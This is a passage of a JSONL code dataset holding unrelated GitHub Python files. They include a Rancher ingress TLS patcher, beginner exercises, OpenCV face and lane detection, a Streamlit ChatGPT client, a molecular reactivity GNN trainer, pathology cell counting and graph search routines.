check_settings()\n\n dest_projects = DEST_PROJECT.split(',')\n\n rancher_login(dest_projects[0])\n \n for project in dest_projects:\n cmd = RANCHER_BIN + ' context switch ' + project\n os.popen(cmd + \" > /dev/null 2>&1\").read()\n print(bcolors.OKBLUE + \"PROJECT: \" + project + bcolors.ENDC)\n cmd = RANCHER_BIN + ' namespace ps'\n namespaces = os.popen(cmd).read()\n for namespace_line in namespaces.splitlines()[1:]: #1: skip the first element with header\n namespace_id = namespace_line.split()[0]\n namespace_name = namespace_line.split()[1]\n print(\" NS: \" + namespace_name)\n cmd = KUBECTL + ' get ingress -o json -n ' + namespace_id\n ingresses = os.popen(cmd).read()\n ingresses_array = json.loads(ingresses)['items']\n for ingress in ingresses_array:\n if ('tls' in ingress['spec']):\n tls_array = ingress['spec']['tls']\n print(bcolors.OKGREEN + \" - \" + ingress['metadata']['name'] + bcolors.ENDC)\n cmd = KUBECTL + ' patch ing/' + ingress['metadata']['name'] + ' -n ' + namespace_id + ' --type=json -p=\\'['\n idx = 0\n to_update = False\n for tls in tls_array:\n mode = \"\"\n if (tls['secretName'] == OLD_SECRET):\n to_update = True\n mode = bcolors.WARNING\n cmd = cmd + '{\"op\": \"replace\", \"path\": \"/spec/tls/' + str(idx) + '/secretName\", \"value\":\"' + NEW_SECRET + '\"},'\n \n print(\"\\t\" + mode + \" ,\".join(tls['hosts']) + \" (\" + tls['secretName'] + \")\" + bcolors.ENDC )\n idx = idx + 1\n \n if (to_update):\n cmd = cmd[:-1] + \"]' \"\n print(\" \" + os.popen(cmd).read())","repo_name":"Leen15/rancher-utilities","sub_path":"change-ingress-tls.py","file_name":"change-ingress-tls.py","file_ext":"py","file_size_in_byte":5235,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"11103687033","text":"#leap year or not\n\nyear = int(input(\"enter a year:\"))\n#divided by 100 means century year (ending with 00)\n# century year divided by 400 is leap year\nif (year % 400 == 0)and(year%100==0):\n print(year,\"is leap year\")\nelif(year % 4 == 0) and (year % 100 != 0):\n print(year,\"is a leap year\")\nelse:\n print(year,\"is not a leap year\")\n\n#check whether a character is a vowel or consonant\n# a e i o u , A E I O U\n# ch = input(\"enter a character:\")\n# if (ch == 'A' or ch =='a' or ch == 'E' or ch == 'e' or ch =='I' or ch == 'i' or ch == 'O' or ch =='o' or ch == 'U 'or ch == 'u'):\n# print(ch,\"is vowel\")\n# else:\n# print(ch,\"is consonant\")\n#OR\n# vowels = ['a','e','i','o','u','A','E','I','O','U']\n# str1 = input(\"enter a string\")\n# for i in str1:\n# if i in vowels:\n# print(f'{i} is vowel)\n# else:\n# print(f'{i} is consonant)\n#\n#armstrong number\nnum = int(input(\"enter a number\"))\nsum = 0\ntemp = num\nwhile temp > 0:\n r = temp % 10\n sum += r*r*r\n temp =temp//10\nif num == sum:\n print(num,\"is an armstrong number\")\nelse:\n print(num, \"is not an armstrong number\")","repo_name":"Snehacp123/pythonworks","sub_path":"assignments/assignment7part2.py","file_name":"assignment7part2.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3558675498","text":"import cv2 as cv\nimport numpy as np\nimport os\n\n#Video capture.\ncap = cv.VideoCapture(0)\n\n#Pre-trained face detection.\nface_detect = cv.CascadeClassifier(cv.data.haarcascades + 'haarcascade_frontalface_default.xml')\n#Pre-trained eye detection.\neye_detect = cv.CascadeClassifier(cv.data.haarcascades + 'haarcascade_eye.xml')\n\nwhile True:\n\n ret, frame = cap.read()\n\n #Change image to greyscale.\n gray_scale= cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n #Return all the faces that are detected.\n faces = face_detect.detectMultiScale(gray_scale, 1.3, 5)\n #Draws a green rectangle around the face/s.\n for(x,y,w,h) in faces:\n cv.rectangle(frame, (x,y), (x+w, y+h), (0,255,0), 5)\n \n #Search through the location of the face and find the eyes\n eye_gray_scale = gray_scale[y:y+w, x:x+w]\n eye_color_scale = frame[y:y+h, x:x+w]\n\n #Return all of the eyes that are detected\n eyes = eye_detect.detectMultiScale(eye_gray_scale,1.3,5)\n #Draw a red rectangle around the eye/s\n for(ex,ey,ew,eh) in eyes:\n cv.rectangle(eye_color_scale, (ex,ey), (ex+ew, ey+eh), (255,0,0),5)\n\n #Shows rectangles \n cv.imshow('frame', frame)\n\n #Stop the program by pressing 'e'\n if(cv.waitKey(1) == ord('e')):\n break\n\ncap.release()\ncv.destroyAllWindows()","repo_name":"LiamBugejaDouglas/Face-and-Eye-Detection","sub_path":"Artifact2.py","file_name":"Artifact2.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44354298213","text":"class Solution:\n def wordPattern(self, pattern: str, s: str) -> bool:\n arr, dic1, dic2 = s.split(\" \"), {}, {}\n for i in range(len(arr)):\n if arr[i] not in dic1.keys():\n dic1[arr[i]] = [i]\n else :\n dic1[arr[i]].append(i)\n\n arr = list(pattern)\n for i in range(len(arr)):\n if arr[i] not in dic2.keys():\n dic2[arr[i]] = [i]\n else :\n dic2[arr[i]].append(i)\n return sorted([v for v in dic1.values()]) == sorted([v for v in dic2.values()])\n","repo_name":"yashhashhrrreee/Leet-code-Solution","sub_path":"0290-word-pattern/0290-word-pattern.py","file_name":"0290-word-pattern.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34403775701","text":"import numpy as np \nimport serial \nimport time \nimport sys \nimport cv2 \n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') \ncap = cv2.VideoCapture(0) \nwhile 1: \n ret, img = cap.read() \n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) \n faces = face_cascade.detectMultiScale(gray, 1.3,5) \n for (x,y,w,h) in faces: \n cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),5) \n tengah =x+(w/2) \n print(\"posisi tengah :\", str(tengah)) \n# arduino.write(bytes(tengah)+'q') \n# data = arduino.readline() \n cv2.imshow('img',img) \n k = cv2.waitKey(30) & 0xff \n if k == 27: \n break \narduino.close() \ncap.release() \ncv2.destroyAllWindows() \n","repo_name":"gilanggsb/Raspberry-pi-Sound-Detection","sub_path":"FaceTrack/coba kamera.py","file_name":"coba kamera.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34564360781","text":"import cv2\r\nimport numpy as np \r\nimport pickle\r\nimport utlis\r\n\r\nframeWidth= 640\r\nframeHeight = 480\r\ndispatcher = 50\r\n\r\n\r\n\r\n\r\ndef initializeTrackbars(intialTracbarVals):\r\n cv2.namedWindow(\"Trackbars\")\r\n cv2.resizeWindow(\"Trackbars\", 360, 240)\r\n cv2.createTrackbar(\"Width Top\", \"Trackbars\", intialTracbarVals[0],50, nothing)\r\n cv2.createTrackbar(\"Height Top\", \"Trackbars\", intialTracbarVals[1], 100, nothing)\r\n cv2.createTrackbar(\"Width Bottom\", \"Trackbars\", intialTracbarVals[2], 50, nothing)\r\n cv2.createTrackbar(\"Height Bottom\", \"Trackbars\", intialTracbarVals[3], 100, nothing)\r\n\r\n\r\n\r\ndef valTrackbars():\r\n widthTop = cv2.getTrackbarPos(\"Width Top\", \"Trackbars\")\r\n heightTop = cv2.getTrackbarPos(\"Height Top\", \"Trackbars\")\r\n widthBottom = cv2.getTrackbarPos(\"Width Bottom\", \"Trackbars\")\r\n heightBottom = cv2.getTrackbarPos(\"Height Bottom\", \"Trackbars\")\r\n\r\n src = np.float32([(widthTop/100,heightTop/100), (1-(widthTop/100), heightTop/100),\r\n (widthBottom/100, heightBottom/100), (1-(widthBottom/100), heightBottom/100)])\r\n #src = np.float32([(0.43, 0.65), (0.58, 0.65), (0.1, 1), (1, 1)])\r\n return src\r\n\r\n\r\ndef wrapped(image):\r\n\tframeWidth= 640\r\n\tframeHeight = 480\r\n\tc_img = utlis.undistort(img)\r\n\timgThres,imgCanny,imgColor = utlis.thresholding(c_img)\r\n\timgWarp = utlis.perspective_warp(imgColor, dst_size=(frameWidth, frameHeight),src=valTrackbars())\r\n\treturn imgWarp\r\n\r\n\r\ndef fi_li_dr(arr):\r\n\tfor k,count in zip(arr,range(0,len(arr))):\r\n\t\tif count+1 < len(arr):\r\n\t\t\tcv2.line(wrapped_img, k, arr[count+1], (0,0,255), 3)\r\n\r\n\r\n\r\ndef operation(wrap, dis):\r\n\tdiscrete_img_array = []\r\n\tpoints_array = []\r\n\tleft_lines_array = []\r\n\tright_lines_array = []\r\n\r\n\tframeWidth= 640\r\n\tframeHeight = 480\r\n\r\n\t\r\n\tcounter = 0\r\n\twrapped_out = wrap\r\n\tdispatcher = dis\r\n\r\n\r\n\tfor k in range(0,wrapped_out.shape[0], dispatcher):\r\n\t\tdiscrete_img_array.append(wrapped_out[k:k+dispatcher,:])\r\n\r\n\r\n\r\n\tfor k in discrete_img_array:\r\n\t\thistogram = utlis.get_hist(k)\r\n\t\tmidpoint = int(histogram.shape[0] / 2)\r\n\t\tleftx_base = np.argmax(histogram[:midpoint])\r\n\t\trightx_base = np.argmax(histogram[midpoint:]) + midpoint\r\n\t\tnew_wrapped_out = cv2.cvtColor(k, cv2.COLOR_GRAY2BGR)\r\n\t\tcv2.circle(new_wrapped_out, (leftx_base,k.shape[0]), 20, (0,255,0), 5)\t\r\n\t\tcv2.circle(new_wrapped_out, (rightx_base,k.shape[0]), 20, (0,255,0), 5)\t\r\n\t\tpoints_array.append((leftx_base,rightx_base))\r\n\t\tprint((leftx_base,rightx_base))\r\n\r\n\t\tcv2.circle(wrapped_img, (leftx_base,counter), 5, (0,0,255), 5)\r\n\t\t#cv2.circle(wrapped_img, (rightx_base,counter), 5, (0,0,255), 5)\r\n\t\tleft_lines_array.append((leftx_base,counter))\r\n\t\tright_lines_array.append((rightx_base,counter))\r\n\r\n\t\tcounter+=dispatcher\r\n\r\n\treturn left_lines_array, right_lines_array\r\n\r\n\r\n\r\n\r\ndef nothing():\r\n\tpass\r\n\r\n\r\n\r\ncap = cv2.VideoCapture(\"project_video.mp4\")\r\nsucs, img = cap.read()\r\nimg = cv2.resize(img,(frameWidth,frameHeight))\r\n\r\nintialTracbarVals = [42,63,14,87] \r\n\r\n\r\n\r\n\r\ninitializeTrackbars(intialTracbarVals)\r\n\r\nwhile True:\r\n\t\r\n\tsucs, img = cap.read()\r\n\r\n\t\r\n\r\n\t#img = cv2.imread(\"image.jpg\");\r\n\timg = cv2.resize(img,(frameWidth,frameHeight))\r\n\t#img = img[:,0:int(img.shape[1]/2)]\r\n\r\n\tc_img = img.copy()\r\n\r\n\twrapped_out = wrapped(c_img)\r\n\twrapped_img = wrapped_out.copy()\r\n\twrapped_img = cv2.cvtColor(wrapped_img, cv2.COLOR_GRAY2BGR)\r\n\r\n\r\n\tleft, right = operation(wrapped_out, dispatcher)\r\n\r\n\tfi_li_dr(left)\r\n\t#fi_li_dr(right)\r\n\r\n\tcv2.imshow(\"Result\", wrapped_img)\r\n\r\n\tif cv2.waitKey(1) & 0xFF == ord('q'):\r\n\t\tbreak\r\n\r\n\r\n\r\n# cv2.imshow(\"OG\", wrapped_img)\r\n# cv2.waitKey(0)\t\t\r\n\t\r\n","repo_name":"Mohamed-Ashrf/image-processing-and-neural-network","sub_path":"Lane_DetectionV2.py","file_name":"Lane_DetectionV2.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45161505493","text":"import streamlit as st\nimport requests\nimport json\n\nCONFIG_PATH = \"/app/config.json\"\nAPI_URL = \"https://api.openai.com/v1/chat/completions\"\n\ndef get_api_key():\n with open(CONFIG_PATH) as config_file:\n config_data = json.load(config_file)\n return config_data[\"api_key\"]\n\ndef save_api_key(api_key):\n with open(CONFIG_PATH, \"w\") as config_file:\n json.dump({\"api_key\": api_key}, config_file)\n\ndef call_chatgpt_api(prompt):\n headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": f\"Bearer {get_api_key()}\"\n }\n data = {\n \"prompt\": prompt,\n \"max_tokens\": 50\n }\n response = requests.post(API_URL, json=data, headers=headers)\n response.raise_for_status()\n return response.json()[\"choices\"][0][\"text\"].strip()\n\ndef main():\n st.title(\"ChatGPT Web Application\")\n st.write(\"Welcome to the ChatGPT web application!\")\n\n page = st.sidebar.radio(\"Navigation\", [\"Set API Key\", \"Chat\"])\n\n if page == \"Set API Key\":\n st.header(\"Set API Key\")\n api_key = st.text_input(\"API Key\", get_api_key())\n if st.button(\"Save API Key\"):\n save_api_key(api_key)\n st.success(\"API Key saved successfully.\")\n\n elif page == \"Chat\":\n st.header(\"Chat with ChatGPT\")\n user_input = st.text_input(\"User Input\", \"\")\n response = st.text_area(\"ChatGPT Response\", \"\")\n\n if st.button(\"Send\"):\n response += f\"You: {user_input}\\n\"\n chatgpt_response = call_chatgpt_api(user_input)\n response += f\"ChatGPT: {chatgpt_response}\\n\"\n st.text_area(\"ChatGPT Response\", response)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"corymills/chatgpt-streamlit","sub_path":"src/chat_gpt_app_with_api.py","file_name":"chat_gpt_app_with_api.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18384298538","text":"class Book:\n def __init__(self, title, author, price):\n super().__init__()\n self.title = title\n self.author = author\n self.price = price\n\n def __str__(self):\n return f'{self.title} by {self.author}, costs {self.price}'\n\n # the __call__ method can be used to call object like a function\n def __call__(self, title, author, price):\n self.title = title\n self.author = author\n self.price = price\n\n\nb1 = Book('war and peace', 'leo tolstoy', 39.95)\nb2 = Book('the second book', 'john doe', 29.95)\n# if we do this we got an error\n# 🖇\nb3 = Book()\n\n\nprint(b1)\nprint('------')\nb1('criminal and punishment', 'feodor dostayevsky', 44)\nprint(b1)\nprint('------')\n\n# 🖇\nb3('old man and sea', 'ernest hamming', 13.49)\nprint(b3)\n","repo_name":"pooyaalamdari/linkedin2","sub_path":"magiccall.py","file_name":"magiccall.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11562084622","text":"# https://codeforces.com/problemset/problem/122/A\n# Difficulty: 1000\n# Attempts: 1\n# Date: 2021-04-27\n# Time: 00:38:05\n\nimport math\nimport itertools\n\nn = int(input())\n\nto = int(math.sqrt(n))\n\no = 'NO'\nndigits = 1\ngreater = False \nwhile o == 'NO' and not greater:\n for digits in itertools.product([4, 7], repeat=ndigits):\n divisor = 0\n multiplier = 1\n for i in range(ndigits):\n divisor += multiplier * digits[i]\n multiplier *= 10\n \n if divisor <= n:\n if n % divisor == 0:\n o = 'YES'\n break\n else:\n greater = True\n \n ndigits += 1\n\nprint(o)","repo_name":"thinkbyter/codeforces_problemset","sub_path":"2021_04_27_01_codeforces_1000_0122A_lucky_division.py","file_name":"2021_04_27_01_codeforces_1000_0122A_lucky_division.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74011653041","text":"import os\n\nimport tensorflow as tf\nfrom tensorflow.keras.callbacks import ModelCheckpoint, LearningRateScheduler\nimport numpy as np\nimport pandas as pd\nfrom scipy.special import softmax\nimport pickle\n\nfrom tqdm import tqdm\nfrom utils import lr_multiply_ratio, parse_args\n\nargs, dataloader, regressor = parse_args()\nreactivity_data = pd.read_csv(args.data_path, index_col=0)\n\nif args.model == 'ml_QM_GNN':\n from ml_QM_GNN.graph_utils.mol_graph import initialize_qm_descriptors\n from predict_desc.predict_desc import predict_desc, reaction_to_reactants\n from predict_desc.post_process import min_max_normalize\n\nif not args.predict:\n splits = args.splits\n test_ratio = splits[0]/sum(splits)\n valid_ratio = splits[1]/sum(splits[1:])\n test = reactivity_data.sample(frac=test_ratio)\n valid = reactivity_data[~reactivity_data.reaction_id.isin(test.reaction_id)].sample(frac=valid_ratio, random_state=1)\n train = reactivity_data[~(reactivity_data.reaction_id.isin(test.reaction_id) |\n reactivity_data.reaction_id.isin(valid.reaction_id))]\n\n if args.model == 'ml_QM_GNN':\n desc_list = args.select_descriptors\n df = predict_desc(args, normalize=False)\n df.to_csv(args.model_dir + \"/descriptors.csv\")\n train_reactants = reaction_to_reactants(train['smiles'].tolist())\n df, scalers = min_max_normalize(df, train_smiles=train_reactants)\n pickle.dump(scalers, open(os.path.join(args.model_dir, 'scalers.pickle'), 'wb'))\n initialize_qm_descriptors(df=df)\n\n train_rxn_id = train['reaction_id'].values\n train_smiles = train.smiles.str.split('>', expand=True)[0].values\n train_core = train.reaction_core.values\n train_activation = train.activation_energy.values\n\n valid_rxn_id = valid['reaction_id'].values\n valid_smiles = valid.smiles.str.split('>', expand=True)[0].values\n valid_core = valid.reaction_core.values\n valid_activation = valid.activation_energy.values\n\n train_gen = dataloader(train_smiles, train_core, train_rxn_id, train_activation, args.selec_batch_size,\n args.select_descriptors)\n train_steps = np.ceil(len(train_smiles) / args.selec_batch_size).astype(int)\n\n valid_gen = dataloader(valid_smiles, valid_core, valid_rxn_id, valid_activation, args.selec_batch_size,\n args.select_descriptors)\n valid_steps = np.ceil(len(valid_smiles) / args.selec_batch_size).astype(int)\n for x, _ in dataloader([train_smiles[0]], [train_core[0]], [train_rxn_id[0]], [train_activation[0]], 1,\n args.select_descriptors):\n x_build = x\nelse:\n test = reactivity_data\n test_rxn_id = test['reaction_id'].values\n test_smiles = test.smiles.str.split('>', expand=True)[0].values\n test_core = test.reaction_core.values\n test_activation = test.activation_energy.values\n\n if args.model == 'ml_QM_GNN':\n df = predict_desc(args)\n initialize_qm_descriptors(df=df)\n\n test_gen = dataloader(test_smiles, test_core, test_rxn_id, test_activation, args.selec_batch_size,\n args.select_descriptors, predict=True)\n test_steps = np.ceil(len(test_smiles) / args.selec_batch_size).astype(int)\n\n # need an input to initialize the graph network\n for x in dataloader([test_smiles[0]], [test_core[0]], [test_rxn_id[0]], [test_activation[0]], 1,\n args.select_descriptors, predict=True):\n x_build = x\n\nsave_name = os.path.join(args.model_dir, 'best_model.hdf5')\n\nmodel = regressor(args.feature, args.depth, args.select_descriptors)\nopt = tf.keras.optimizers.Adam(lr=args.ini_lr, clipnorm=5)\nmodel.compile(\n optimizer=opt,\n loss='mean_squared_error',\n metrics=[tf.keras.metrics.RootMeanSquaredError(\n name='root_mean_squared_error', dtype=None), tf.keras.metrics.MeanAbsoluteError(\n name='mean_absolute_error', dtype=None), ]\n)\nmodel.predict_on_batch(x_build)\nmodel.summary()\n\nif args.restart or args.predict:\n model.load_weights(save_name)\n\ncheckpoint = ModelCheckpoint(save_name, monitor='val_loss', save_best_only=True, save_weights_only=True)\n\nreduce_lr = LearningRateScheduler(lr_multiply_ratio(args.ini_lr, args.lr_ratio), verbose=1)\n\ncallbacks = [checkpoint, reduce_lr]\n\nif not args.predict:\n hist = model.fit_generator(\n train_gen, steps_per_epoch=train_steps, epochs=args.selec_epochs,\n validation_data=valid_gen, validation_steps=valid_steps,\n callbacks=callbacks,\n use_multiprocessing=True,\n workers=args.workers\n )\nelse:\n predicted = []\n masks = []\n for x in tqdm(test_gen, total=int(len(test_smiles) / args.selec_batch_size)):\n masks.append(x[-2])\n out = model.predict_on_batch(x)\n predicted.append(out)\n\n predicted = np.concatenate(predicted, axis=0)\n predicted = predicted.reshape(-1)\n\n test_predicted = pd.DataFrame({'rxn_id': test_rxn_id, 'predicted': predicted})\n if not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\n\n test_predicted.to_csv(os.path.join(args.output_dir, 'predicted.csv'))\n","repo_name":"coleygroup/QM-augmented_GNN","sub_path":"regression_e2_sn2/reactivity.py","file_name":"reactivity.py","file_ext":"py","file_size_in_byte":5116,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"75"} +{"seq_id":"9613725624","text":"#!/usr/bin/env python3\n\n\"\"\"\nProgrammers: Ammishaddai Jacobus\nDate: Dec 16, 2021\nDescription: This is the main module. In here we import all the other modules that we want to run, and add all of them\nin the main menu to run the whole game and the while loop to play multiple rounds in the game.\n\"\"\"\n\n# Authorship information # Done by Amy\n__author__ = 'Ammishaddai Jacobus'\n__version__ = '1.0'\n__date__ = 'NEED TO BE DONE'\n__status__ = 'Development'\n\n\nimport random # Imports random so we it can be used to generate random numbers\nimport game as g # Imports the game module as g to be used in this main module\nimport validation as v\n\n\ndef main():\n \"\"\"\n This function starts with the an empty player dictionary, that later gets populated with all the players and\n their data. The main runs the functions to display the game intro message, the function to get all the players,\n then it uses a while true, which runs the game round, displays the game round summary at the end of each round\n checks if the user wants to play again, if they do want to play again, it clears everything and add starts the\n round again with the original players data. Once the player says no to play any more round, it will break out\n of the while loop and thank the player for playing and that hopefully they had fun. And displays the summary\n of that last round.\n :return: n/a\n \"\"\"\n\n players = {} # We start with an empty dictionary\n cards_nr_generator1 = random.randint(1, 10)\n cards_nr_generator2 = random.randint(1, 10)\n\n g.display_msg() # Welcome players to the game\n g.get_players(players) # get the player data\n\n while True:\n\n g.play_rounds(players)\n # g.display_round_summary(players)\n cash = g.display_round_summary(players)\n if cash > 0.0:\n choice = v.get_yes_no(prompt='do you want to play again? (y=yes, n=no): ').lower()\n if choice in ['y', 'yes']:\n # g.setup_new_round(players)\n continue\n elif choice in ['n', 'no']:\n break\n else:\n print('All players are out of funds!')\n print('Better luck next time!')\n print('Thank you for playing, hope you had fun!')\n break\n\n\nif __name__ == \"__main__\": # Basically if the name of the module is equal to main\n main() # Run this specific program.","repo_name":"AmyJacobus/Python_general_projects_and_coursework","sub_path":"Game_21/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"30410909244","text":"import pandas as pd\nimport os\nimport matplotlib.pyplot as plt\n\n\ndef count_cells_cws_combined(input_dir, output_dir, cell_names, class_col_name):\n os.makedirs(output_dir, exist_ok=True)\n all_slides_cell_count_df = pd.DataFrame(columns=['SlideName'] + cell_names)\n\n for ii, file_name in enumerate(os.listdir(input_dir)):\n if not file_name.endswith('csv'):\n continue\n print('processing slide: ', file_name)\n row = [file_name.replace('.csv', '')]\n\n # read file\n df = pd.read_csv(os.path.join(input_dir, file_name))\n if len(df) is 0:\n continue\n # count cells\n print(df.head())\n slide_all_slides_cell_count_df = df[class_col_name].value_counts().to_frame().transpose()\n\n # for missing cells update count with 0\n counts = []\n for cell in cell_names:\n if cell in slide_all_slides_cell_count_df.columns:\n counts.append(slide_all_slides_cell_count_df[cell].values[0])\n else:\n counts.append(0)\n\n # update count data frame\n row = row + counts\n all_slides_cell_count_df.loc[len(all_slides_cell_count_df)] = row\n \n # save file\n all_slides_cell_count_df.to_csv(os.path.join(output_dir, 'cells_count.csv'), index=False)\n \n # plot data distribution\n # original cell count\n all_slides_cell_count_df.plot(kind='bar', stacked=True, x='SlideName')\n plt.tight_layout()\n plt.savefig(os.path.join(output_dir, 'cell_count_unnormalized.png'), dpi=600)\n # normalized cell count\n slide_name_df = all_slides_cell_count_df[['SlideName']]\n counts_df = all_slides_cell_count_df.drop(columns=['SlideName'])\n normalized_counts_df = counts_df.div(counts_df.sum(axis=1), axis=0)\n normalized_counts_df = pd.merge(slide_name_df, normalized_counts_df, left_index=True, right_index=True)\n normalized_counts_df.plot(kind='bar', stacked=True, x='SlideName')\n plt.tight_layout()\n plt.savefig(os.path.join(output_dir, 'cell_count_normalized.png'), dpi=600)\n plt.show()\n\n\ndef count_cells_cws_not_combined(input_dir, output_dir, cell_names, class_col_name, excluee_from_figure=None):\n \n os.makedirs(output_dir, exist_ok=True)\n col_names = ['SlideName'] + cell_names\n all_slides_cell_count_df = pd.DataFrame(columns=col_names)\n\n for ii, slide_name in enumerate(os.listdir(input_dir)):\n print('processing slide: ', slide_name)\n # read cws cell detection\n df_cws_combined = pd.DataFrame()\n for file_name in os.listdir(os.path.join(input_dir, slide_name)):\n df = pd.read_csv(os.path.join(input_dir, slide_name, file_name))\n \n df_cws_combined = pd.concat([df_cws_combined, df], axis=0, ignore_index=True, sort=False)\n if len(df_cws_combined) is 0:\n print(f'{slide_name} does not have cells')\n continue\n # count cells\n slide_all_slides_cell_count_df = df_cws_combined[class_col_name].value_counts().to_frame().transpose()\n \n # for missing cells update count with 0\n counts = []\n for cell in cell_names:\n if cell in slide_all_slides_cell_count_df.columns:\n counts.append(slide_all_slides_cell_count_df[cell].values[0])\n else:\n counts.append(0)\n \n # update count data frame\n new_record = dict(zip(col_names, [slide_name.replace('.csv', '')] + counts))\n # all_slides_cell_count_df.loc[len(all_slides_cell_count_df)] = row\n all_slides_cell_count_df = all_slides_cell_count_df.append(new_record, ignore_index=True, sort=False)\n \n # save file\n all_slides_cell_count_df.to_csv(os.path.join(output_dir, 'cells_count_all.csv'), index=False)\n \n # plot data distribution\n if excluee_from_figure is not None:\n all_slides_cell_count_df = all_slides_cell_count_df.loc[~all_slides_cell_count_df['SlideName'].isin(excluee_from_figure)]\n all_slides_cell_count_df.plot(kind='bar', stacked=True, x='SlideName')\n plt.tight_layout()\n plt.savefig(os.path.join(output_dir, 'cell_count_all.png'), dpi=600)\n # normalized cell count\n\nif __name__=='__main__':\n # Panel1: ['CD8', 'CD4', 'FOXP3+CD4+']\n #Panel2:['BLIMP1', 'CD4', 'CD8']\n # cell_names = ['BLIMP1', 'CD4', 'PD1', 'PD1+CD4+']\n # cell_names_panel2 = ['BLIMP1', 'CD4', 'CD8']\n cell_names_panel1 = ['CD8+', 'FOXP3-CD4+', 'FOXP3+CD4+']\n # input_dir = r'X:\\yhagos\\Myeloma_BM_mapping\\Data\\Resutls\\panel2_2021-04-02\\AwareNet_pipeline\\AnnotatedCellsCoord_fp_removed'\n # output_dir = r'X:\\yhagos\\Myeloma_BM_mapping\\Data\\Resutls\\panel2_2021-04-02\\AwareNet_pipeline\\Cell_count_cws'\n # count_cells_cws_not_combined(input_dir=input_dir,\n # output_dir=output_dir,\n # class_col_name='Class',\n # cell_names=cell_names)\n \n # cell_names = ['BLIMP1', 'CD4', 'CD8']\n input_dir = r'X:\\yhagos\\Myeloma_BM_mapping\\Data\\Resutls\\20201118_CD_CC_Panel1\\results\\Combined_csv_fp_removed_cell_renamed'\n output_dir = r'X:\\yhagos\\Myeloma_BM_mapping\\Data\\Resutls\\20201118_CD_CC_Panel1\\results\\cell_count'\n count_cells_cws_combined(input_dir=input_dir,\n output_dir=output_dir,\n class_col_name='Class',\n cell_names=cell_names_panel1)\n","repo_name":"YemanBrhane/BM-Spatial-Analysis","sub_path":"Cell_Counting/count_cells.py","file_name":"count_cells.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3122400619","text":"from math import inf\nfrom copy import deepcopy\n\n\nfrom vertice import Vertice\n# from union_find import UnionFind\nfrom heap import insere_heap, remove_heap, altera_heap, consulta_heap\n\n\nclass MatrizAdjacencias():\n def __init__(self, V, E):\n self.V = [Vertice(v) for v in V]\n self.E = E\n self.matriz = [[0 for x in range(len(V))] for y in range(len(V))]\n for e in self.E:\n self.matriz[e[0]][e[1]], self.matriz[e[1]][e[0]] = 1, 1\n self.pre_ordem, self.pos_ordem, self.pos_ordem_reversa = [], [], []\n\n def vizinhanca(self, u):\n return [self.V[n] for n, l in enumerate(self.matriz[u.valor]) if l]\n\n def nao_vizinhanca(self, u):\n return [self.V[n] for n, l in enumerate(self.matriz[u.valor])\n if l == 0 and n != u.valor][1:]\n\n def chama_busca(self, s=None, tipo_busca=''):\n '''algoritmo 23.2'''\n for v in self.V:\n v.visitado = 0\n v.predecessor = None\n if tipo_busca == 'largura':\n self.busca_largura(s)\n elif tipo_busca == 'largura_distancia':\n self.busca_largura_distancia(s)\n elif(tipo_busca == 'profundidade_iterativa'):\n self.busca_prof_iterativa(s)\n elif(tipo_busca == 'profundidade_recursiva'):\n self.busca_prof_recursiva(s)\n elif(tipo_busca == 'profundidade'):\n self.busca_profundidade(s)\n elif(tipo_busca == 'componentes'):\n return self.busca_componentes()\n else:\n print('Tipo de busca inválido')\n\n def constroi_caminho(self, s, v):\n '''algoritmo 23.4'''\n print(\"Contrução do {}-{} caminho\".format(s.valor, v.valor))\n L = []\n print(\"Estado Inicial da lista: {}\".format(L))\n if v.visitado == 0:\n return L\n atual = v\n _iter = 1\n while(atual.valor != s.valor):\n print(\"Iteração {}: \".format(_iter))\n L = [atual] + L\n print(\"\\tAdicionando o vértice {} com predecessor {} na lista\".format(\n atual.valor, atual.predecessor.valor))\n print(\"\\tEstado atual da lista: {}\".format([l.valor for l in L]))\n atual = atual.predecessor\n _iter += 1\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tAdicionando {} no início da lista\".format(s.valor))\n L = [s]+L\n print(\"\\tEstado final da lista: {}\".format([l.valor for l in L]))\n return L\n\n def busca_largura(self, s):\n '''algoritmo 23.5 e 23.11'''\n s.visitado = 1\n fila = []\n fila.append(s)\n print(\"Começando com o vértice {}\".format(s.valor))\n print(\"Estado da fila: {}\".format([f.valor for f in fila]))\n _iter = 1\n while(len(fila) > 0):\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tEstado da fila: {}\".format([f.valor for f in fila]))\n u = fila[0] # desenfileirar\n print(\"\\tRemovendo o {} da fila\".format(u.valor))\n fila = fila[1:]\n for v in self.vizinhanca(u):\n if 